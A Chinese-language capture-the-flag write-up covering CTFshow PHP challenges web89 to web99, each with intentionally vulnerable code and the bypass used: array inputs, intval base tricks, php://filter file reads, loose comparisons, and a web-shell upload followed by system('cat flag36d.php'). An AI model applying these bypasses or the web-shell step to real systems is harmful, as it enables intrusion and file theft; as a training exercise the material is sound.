CTFSHOW
php特性
web89
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
第一层要求不能有数字,但是第二层intval会进行取整,我们使用常用方法传入数组?num[]
警告:preg_match() 函数的第二个参数应为字符串,但传入的是数组。错误位于/var/www/html/index.php第20行 。ctfshow{6762c8ab-ab84-4a50-bd38-bc168bbc1419}
flag:ctfshow{6762c8ab-ab84-4a50-bd38-bc168bbc1419}
web90
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
强比较,那么我们绕过4476,可以使用4476.0,绕开了类型,在下面取整的时候可以直接变成4476
?num=4476.0
flag:ctfshow{75186b9d-c093-4944-97e2-858bc3af6fdc}
web91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
1. 第一层检查 (外层): /^php$/im
i: 不区分大小写。m: 多行模式 (Multiline)。- 在多行模式下,
^和$匹配的是每一行的开头和结尾,而不仅仅是整个字符串的开头和结尾。 - 因此,只要字符串中有一行内容仅为 “php”,这个条件就为真。
2. 第二层检查 (内层): /^php$/i
i: 不区分大小写。- 缺少
m: 这里是单行模式(默认)。 ^和$匹配的是整个字符串的开头和结尾。- 只有当整个字符串严格等于 “php”(忽略大小写)时,这个条件才为真。
所以构造「?cmd=php%0a」这个不行需要这个才行【?cmd=%0aphp】
ctfshow{ba358648-90bf-4eef-a06a-3174350a8d54}
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
我们要使用get传参传入?num=xxx
第一个条件:让num的值在松散比较下不为4476
第二个条件:让intval($num,0)的值为4476
这里只要求了值没有要求类型
补充说明:intval 函数:intval($var, $base)用于将变量转换为整数。当 $base为 0 时,函数会根据字符串格式自动判断进制:
- 以
0x或0X开头,按十六进制处理。 - 以
开头,按八进制处理。 - 其他情况按十进制处理。
由于我们传入的是字符串,这里再补充一下:
- 字符串到数字的转换:在松散比较中,字符串转换为数字时,会从字符串起始位置解析,直到遇到非数字字符(注意:科学计数法如
"4476e0"会被解析为4476.0,仍等于 4476)。
所以,科学计数法不可以采用,那么我们可以查询一下

我想八进制和十六进制自然就是可以的了
所以应该传入:010574(八进制)或者 0x117c(十六进制)
得到flag:ctfshow{7bdb8da3-ef2a-4bc9-9d6e-ef5c6e9f5d00}
补充一个题目给的hint:
intval()函数如果base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这和上一道比就多了一个正则匹配,那么传入八进制和十六进制是一样行的通的当然hint就不可以用了
flag:ctfshow{20e68daa-f51d-40e6-9183-d60e3890e54d}
web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
多了一个strpos函数,我们去浏览器查询到PHP: strpos – Manual

还有比较类型也发生了变化,首先绕过第一个$num==="4476"我想到了4476.0,通过改变类型来跳过,下一步正则没有涉及跳过了,再下一步strpos过滤了开头为0的数那么意味着进制转换被ban了,所以改变数据类型的措施依旧有效,最后一关,intval($num,0)返回整数,所以达成条件
传入?num=4476.0即可
flag:ctfshow{10872fcd-bdf2-49b5-b352-4ba358a80901}
web95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这个和上一道对比就是恰好把浮点数类型ban了,但是又在第一条过滤那里给了机会,所以我们要关注这一点(禁止参数中包含任何字母(不区分大小写)或点号(.)。这意味着不能使用十六进制(如 0x117c)、科学计数法(如 4476e0)或小数形式。)
试试八进制,先把4476换成八进制数010574,可以绕过第一层检查了,不含字母,绕过第二层了,但是第三层不可以了,但是我们要保持数值不变才能通过第四层,所以我们只要解决第三层即可获取flag。
可以添加一个+在数字前面,从而绕过检查
构造?num=+010574
flag:ctfshow{10846545-cb8a-4565-9735-d4e558517b06}
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
全新的!
ai很给力
解题思路
由于直接传递 u=flag.php会被拦截,我们需要构造一个不等于 'flag.php'但能指向 flag.php的文件路径或 URI。常见的绕过方法有以下几种:
- 相对路径:使用
./flag.php或../flag.php等相对路径形式,字符串不相等但指向同一文件。 - 绝对路径:如果知道服务器上的绝对路径(如
/var/www/html/flag.php),可以直接使用。 - PHP 过滤器包装器:使用
php://filter读取文件的 base64 编码内容,再解码得到源代码。 - URL 编码:对部分字符进行编码,如
flag.php编码为%66%6c%61%67%2e%70%68%70,但highlight_file()可能会自动解码,且字符串比较时是否解码取决于 PHP 版本。通常,%66%6c%61%67%2e%70%68%70与flag.php不相等,但highlight_file()能正确识别。 - 追加无关参数:如
flag.php?或flag.php#,但highlight_file()可能将问号或井号视为文件名的一部分,导致文件不存在。需测试。
在这些方法中,最可靠且通用的方法是使用 PHP 过滤器。
尝试相对路径:访问 http://example.com/challenge.php?u=./flag.php。如果 flag.php在当前目录,则会高亮显示其内容,可能直接看到 flag。
如果失败,尝试其他相对路径:如 ../flag.php或 ../../flag.php,取决于目录结构。
使用 PHP 过滤器:访问 http://example.com/challenge.php?u=php://filter/read=convert.base64-encode/resource=flag.php。这将显示 flag.php的 base64 编码内容。解码后得到源代码,其中包含 flag。
解码 base64:如果使用过滤器,将得到一串 base64 字符串,例如 PD9waHAKJGZsYWcgPSAiZmxhZ3t0ZXN0fSI7Cj8+。使用在线工具或命令行解码:
echo "PD9waHAKJGZsYWcgPSAiZmxhZ3t0ZXN0fSI7Cj8+" | base64 -d
输出为:
<?php
$flag = "flag{test}";
?>
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
$_POST['a'] != $_POST['b']:变量 a 和 b 的值必须不相等。
md5($_POST['a']) === md5($_POST['b']):变量 a 和 b 的 MD5 哈希值必须严格相等(值和类型都相同)。
数组绕过:在php8.0之前的版本,md5()无法处理数组,所以绕过这个强比较,我们可以传入数组使得出现null=null
所以传入post
a[]=1&b[]=2
flag:ctfshow{23746b77-45e3-436d-992e-666a5f7d161c}
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
这里涉及到php函数的传值与传址(引用)详解-php手册-PHP中文网
考点是PHP里面的三元运算符和传址(引用)(感觉有点像指针)
三元运算符 (? :) 条件 ? 结果A : 结果B 意思是:如果条件成立,就执行结果A;否则执行结果B。
- 代码里的
flag是什么?在这段代码里,结果B都是字符串'flag'。这只是个占位符,没有任何实际作用,代码执行到这里什么也不会发生,只是为了符合语法。
引用赋值 (=&) $A = &$B 意思是:让 $A 变成 $B 的影子(或者叫别名)。
- 从此以后,
$A指向的数据就是$B的数据。 - 重点: 如果
$A变成了$_POST的引用,那你读$A['xx']其实就是在读$_POST['xx']。
第一关: $_GET ? $_GET=&$_POST : ...
- 只要 URL 有参数,
$_GET就变成了$_POST的引用。 - 此时:
$_GET就是$_POST。
第二关: $_GET['flag']=='flag' ? $_GET=&$_COOKIE : ...
- 代码在问:POST 数据里有
flag=flag吗? - 优化点: 如果我们不发送
flag=flag,这个条件就是 False。 - 结果:
$_GET不会变成$_COOKIE,它依然指向$_POST!
第三关: $_GET['flag']=='flag' ? $_GET=&$_SERVER : ...
- 同理,条件依然不满足。
- 结果:
$_GET依然稳稳地指向$_POST。
最终检查: highlight_file($_GET['HTTP_FLAG']=='flag' ? ...)
- 因为此时
$_GET仍然是指向$_POST的。 - 所以代码实际上是在检查:
$_POST['HTTP_FLAG']是否等于'flag'。
那么get我们可以传入任意参数,post传入HTTP_FLAG=flag
flag:ctfshow{7345ee97-699e-4c40-84a4-f4e6766d254d}
这里还有其他人的解法

web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
for 循环:
- 循环从 i=36 到 i < 0x36d (即 877)。
- 每次循环将
rand(1, $i)生成的一个随机整数加入$allow数组。 - 由于循环次数较多(800多次),且随机数范围包含小整数,数组
$allow中极大概率会包含整数1、2、3等小数值。
if 判断:
isset($_GET['n']): 检查是否有 GET 参数n。in_array($_GET['n'], $allow): 检查传入的n是否在$allow数组中。
file_put_contents(...):
- 如果检查通过,将
$_POST['content']的内容写入到文件名为$_GET['n']的文件中。
在 PHP 中,字符串和数字进行比较时会发生类型转换:
- 整数:
1 - 字符串:
"1.php"
当执行 in_array("1.php", $allow) 时,如果 $allow 数组中包含整数 1,PHP 会尝试将 "1.php" 转换为整数进行比较。
"1.php"转换为整数会被解析为1。- 因此,
1 == "1.php"的结果为 True。
所以我们传入get:?n=1.php

写入的过程有点慢,多试几次就好了,写入后发送 POST 数据 1=system('ls');
发现有 flag36d.php 通过1=system(‘cat flag36d.php’); 找到flag